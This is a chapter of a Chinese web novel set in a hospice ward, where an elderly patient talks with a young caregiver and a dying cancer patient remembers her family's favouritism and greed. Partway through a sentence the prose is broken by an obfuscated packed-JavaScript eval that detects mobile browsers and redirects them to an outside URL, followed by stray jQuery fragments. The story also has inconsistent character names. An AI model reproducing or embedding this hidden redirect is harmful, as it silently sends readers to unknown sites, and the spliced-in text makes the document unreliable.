冬日清晨的阳光斜斜淌进临终医院的病房，落在雪白的床单上，空气中浮动的尘埃都泛着暖金。
满是消毒水味道的双人间里，混着一丝淡淡的桂花香气，这是江夏在来医院的路上，看到环卫工人正在为预防即将到来的冰冻雨雪天气修剪树枝，征得对方同意后，她便捡了几支桂花带到了医院。
电动床缓慢升起，因为脑梗塞长期卧床的叶晓霞上半身终于能够坐起，她半倚在床头，枯瘦的手搭在被子上。
她头发花白，眼窝深陷，浑浊的眼球却带着几分孩童般的光亮，正望着床边忙碌的身影，嘴角噙着一抹久违的笑意。
病床边上忙碌的护工确实年轻，看起来不过二十出头的模样，穿着干净的护工，袖口挽到小臂，露出纤细却结实的手腕。手腕上戴着一串简单的红绳手链，随着动作轻轻晃动。
她无论做什么都眉眼弯弯的，睫毛又长又密，笑起来时眼角会漾出两个小小的梨涡，眼神干净，没有丝毫世故的杂质。
此刻的她弯着腰，将双手掌心搓热后，轻轻覆在叶晓霞僵硬的右腿上，指尖带着恰到好处的力道，顺着肌肉纹理缓缓揉捏。
“奶奶，您忍忍，这处肌肉有点紧，多按按能舒服些。”年轻护工的声音清甜，动作轻柔而认真，生怕弄疼了床上的老人。
老奶奶轻轻“嗯”了一声，眼神落在护工认真的侧脸上，带着几分打量，问她：“你是新来的吗？我怎么以前没见过你？赵荷花去哪儿了呀？”
江月手上的动作没停，乖巧回道：“她接重了单子，今天还有别的地方的护工，所以请我来这里工作。”她似乎是有点担心叶晓霞不满意这样的安排，于是又慌忙解释道：“我母亲之前也是卧病在床，都是我来照顾，我很有经验的，最近她跟我姐姐回乡下了，我才有时间出来工作的。”
叶晓霞听得微微点头，眼神里多了几分怜惜，轻声叹道：“真是个孝顺的好孩子，不容易啊。”她的声音里带着真切的心疼，想起自己那些忙于工作、无暇照料她的儿女，心里虽有失落，却也理解他们的难处。
她说：“我叫叶晓霞，你叫我老叶就行，你叫什么呀？”
江月答：“好啊，老叶，你叫我小月好了，月亮的月。”说着她举起叶晓霞的右腿，往对方脑袋的方向压下去。
叶晓霞尝试着动了动腿，却只换来一阵无力的酸胀，不由得轻轻叹了口气，声音沙哑得像是被砂纸磨过：“人老了，不中用了，这腿啊，跟灌了铅似的，怕是没几天好日子过咯。”
江月手上的动作没停，脸上依旧挂着那抹干净的笑容：“老叶，你可千万别这么说，一定要活久一点，现在科技可发达了，以后说不定有什么高科技护工机器人出现，能给你护理，还能讲笑话给你听，一天24小时都可以陪在你身边，你要是没机会看见的话，那真是可惜了。”
叶晓霞被她认真的模样逗乐了，枯瘦的手抬了抬，想要去碰护工的胳膊，却只抬到一半就没了力气，“那……那能不能定制一个像你这样的机器人？”
叶晓霞愣了一下，随即轻笑出声，眉眼弯得更厉害了，连带着按摩的动作都轻快了几分：“那可不行哦老叶，定制成我这样，是要给我版权费的呢！”
“你呀，真是个小财迷！”老叶晓霞被她逗得哈哈大笑，笑声沙哑却爽朗。
笑了好一会儿，叶晓霞才渐渐平复下来，她的眼神落在江月年轻的脸上，带着几分怀念：“小月，你多大了？看起来跟我的孙辈们差不多大呢。”
江月回：“马上大学毕业了，二十一啦。”
叶晓霞顿了顿，眼神里带着几分困惑和期许，“我这老婆子跟不上时代，不知道现在年轻人之间都流行些什么？等她们来看我，我跟他们聊点什么，才能让他们愿意多待一会儿呀？”她的语气带着几分忐忑，想起之前几次孙辈们的探访，只余下相对无言的尴尬回忆。
江月闻言，停下了手上的动作，认真地想了想，然后笑着说道：“其实年轻人不用您特意找话题的，您只要别动不动就教训他们，等他们来的时候，买点他们喜欢吃的零食，比如薯片、巧克力什么的，听他们说说自己的事就好啦。”她顿了顿，又补充道，“有时候您强行加入他们的话题，反而会让他们觉得有点打扰呢。”
江月声音轻轻的：“其实，也没有孩子不想亲近长辈的，家人之间，怎么会有嫌隙呢？”
叶晓霞静静地听着，若有所思地点了点头，眼神里的困惑渐渐散去，带着期待的语气道：“有道理，也没有长辈不爱孩子的。”
隔壁床的欢声笑语像细碎的针，密密麻麻扎在余夏心上。
她翻了个身，弄出点动静来，隔壁病床的声音马上小了许多。
余夏听到叶晓霞压低了声音，说：“隔壁的小妹妹前不久刚住进来，安静得很，我俩小声点。”
江月用气声回答：“好嘞。”
余夏侧躺在病床上，任由日日不变的暖阳晒在自己的脸上，单薄的肩膀微微蜷缩着，像一只受伤后独自舔舐伤口的兽。
化疗后的头发稀疏枯黄，贴在苍白得近乎透明的头皮上，露出清晰的青色血管。
她的脸颊深陷，原本圆润的下颌线变得锋利硌人，眼窝发黑，长长的睫毛失去了往日的光泽，垂在眼睑下，遮住了眼底翻涌的复杂情绪。
她身上穿着宽大的病号服，领口空荡荡地晃着，衬得脖颈愈发纤细，仿佛轻轻一折就会断裂。
今天的太阳依旧很暖和，但余夏却觉得浑身发冷，指尖冰凉得像浸在冰水里。
她能清晰地听到隔壁叶晓霞沙哑却爽朗的笑声，还有年轻护工清甜的回应，那些声音越热闹，就越衬得她这边的角落冷清得可怕。
她的心里像堵着一团湿冷的棉花，闷得发慌，比腹部传来的疼痛更让人难以忍受。
她想起自己的母亲闻溪，想起姐姐余知遇，嘴角勾起一抹极淡的、带着嘲讽的弧度。
哪里有什么“没有父母不爱孩子”，哪里有什么“没有孩子不想亲近父母”，对她而言，这些不过是旁人世界里的童话。
记忆像潮水般涌来，小时候的画面清晰得仿佛就发生在昨天。
父亲是煤矿场的工人，因为答应了给余夏买想要的玩偶，在去超市的路上出了车祸，自那之后，母亲就一直将父亲去世的原因怪罪在余夏的身上。
母亲总是把最大的梨子塞给姐姐，把最大的那块肉舀进姐姐碗里，而她只能分到小小的一块，或者看着姐姐吃完后剩下的空碗。
新衣服永远是姐姐先穿，粉嫩嫩的连衣裙、带着花边的外套，姐姐穿腻了、穿小了，才会轮到她。
她还记得自己第一次穿上姐姐剩下的碎花裙，裙摆已经短到了膝盖以上，袖口也磨起了毛边，她却宝贝得不行，偷偷穿了一整天，结果被母亲看到，皱着眉说：“家里没钱，要节约，姐姐穿剩下的能穿就别挑剔。”可她分明看到，母亲后来又给姐姐买了件崭新的品牌牛仔外套。
姐姐余知遇从小就霸道，玩具、书本、甚至母亲织的围巾，都不许她碰。
她常常趴在门缝里，看着姐姐抱着洋娃娃笑得开心，看着姐姐穿着新裙子在镜子前转圈圈，心里满是羡慕，却连靠近的勇气都没有。她觉得自己像个闯入者，姐姐和母亲才是真正的一家人，而她，不过是个多余的外人。
长大后，家里换了大点的房子，姐姐理所当然地住进了宽敞明亮的主卧，有独立的阳台和衣柜，而她只能和母亲挤在狭小的次卧，睡在吱呀作响的上下床的上铺。
每天晚上，她都能听到母亲在客厅和姐姐低声说笑，那种温馨的氛围，她从未真正融入过。
从那时起，拥有一间完全属于自己的房子，就成了余夏最大的执念。里面要摆满只属于自己的东西，不用再穿别人剩下的衣服，不用再看别人的脸色，不用再觉得自己是多余的。
为了这个目标，她拼了命地工作，没日没夜地加班，三餐不定，饿了就随便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119741|195957||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吃点外卖，胃痛了就嚼两片止痛药，从不敢停下来。
终于，在她三十岁那年，她用所有的积蓄付了首付，搬进了属于自己的小公寓。
她还记得搬进新家的那天，阳光很好，她摸着崭新的衣柜，看着窗外的风景，以为苦尽甘来，好日子终于轮到自己了。可命运却给了她最残忍的一击。
持续的胃痛、莫名的消瘦，她一直不当回事，直到一次晕倒在办公室，被同事送进医院，才拿到那张写着“胃癌晚期”的诊断书，晴天霹雳也不过如此。
她躺在病床上，看着天花板，无数次问自己，人这一生到底是为了什么？辛辛苦苦奋斗半生，好不容易实现了唯一的愿望，却要在临终医院里，等待生命的终结。
她不甘心，多少次，她在深夜里被剧痛惊醒，咬着牙不让自己哭出声，指甲深深掐进掌心，渗出血迹。
她还没好好享受过自己的房子，还没来得及为自己活一次，怎么能就这样离开？可腹部传来的阵阵绞痛，像一把钝刀，反复切割着她的五脏六腑，提醒着她，一切都晚了，她必须认命。
更让她心寒的，是家人的态度。姐姐余知遇原本有个谈婚论嫁的男友，得知她患了重病，怕她成为累赘，果断提出了分手。
那天，她躺在病床上，隐约听到病房外姐姐和母亲的对话。
“妈，你说我怎么这么命苦？我都要结婚了，她偏偏这时候生病，搅得我的婚事都黄了！”余知遇的声音带着浓浓的抱怨，尖锐又刺耳。
“知遇，别这么说你妹妹。”闻溪的声音听起来有些疲惫，却没有多少心疼。
“本来就是嘛！”余知遇的声音拔高了几分，“反正她也没几天了，你说她那房子……”
“小声点！”闻溪打断了她，停顿了几秒，声音压低了些，却清晰地传到余夏耳朵里，“我打算找个律师问问，她那房子，我能不能继承下来。毕竟她也没结婚，没孩子，总不能便宜了外人。”
余夏躺在病床上，浑身的血液仿佛瞬间凝固了。她闭上眼，滚烫的泪水终于忍不住从眼角滑落，顺着脸颊滴进枕头里，晕开一小片深色的水渍。
原来，在母亲心里，她的生死不重要，她的房子才是最值得关注的东西。
从那以后，余夏就开始为自己打算，她拒绝母亲和姐姐说留在家里更方便照顾她的说辞，将自己好不容易买来的新房再卖掉，用自己卖房的钱，住进了临终医院。
至少在医院，钱的作用更大，自己能得到最后的体面的照顾，而不是在家里被自己的亲人算计着什么时候去世，能分到多少财产。
也许是知道妹妹心里还有着介意，姐姐余知遇就很少来医院探望她，偶尔来一次，也是匆匆忙忙，坐在床边玩着手机，很少跟她说话，脸上带着明显的不耐烦，仿佛多待一秒都是煎熬。
她穿着光鲜亮丽的连衣裙，妆容精致，身上喷着淡淡的香水，与病房里消毒水的味道格格不入，也与她这副病入膏肓的模样形成了刺眼的对比。
而母亲闻溪，每周会来两次。每次来，都会带来一个保温桶，里面是简单的粥或者汤。
闻溪今年六十多岁了，头发上添了不少白发，眼角的皱纹也深了，最近她看余夏的眼神里，居然多了往日里没有的温情。
她会坐在床边，一边给余夏喂粥，一边絮絮叨叨地说姐姐最近的近况，说姐姐工作顺利，说姐姐又交了新的朋友，语气里满是骄傲。喂完粥，她会收拾好东西，坐一会儿就走。
此刻，隔壁床的笑声又传了过来，温暖而真切。余夏缓缓睁开眼，望着天花板上惨白的灯光，眼底一片荒芜。
她轻轻吸了口气，胸口传来一阵闷痛，伴随着喉咙里的腥甜。
她想，或许从一开始，她就不该奢望什么亲情，不该执着于那些不属于自己的温暖。
只是，心里的不甘与委屈，像藤蔓一样疯狂生长，缠绕着她，让她在这温暖的病房里，也如堕冰窟，连呼吸都觉得沉重。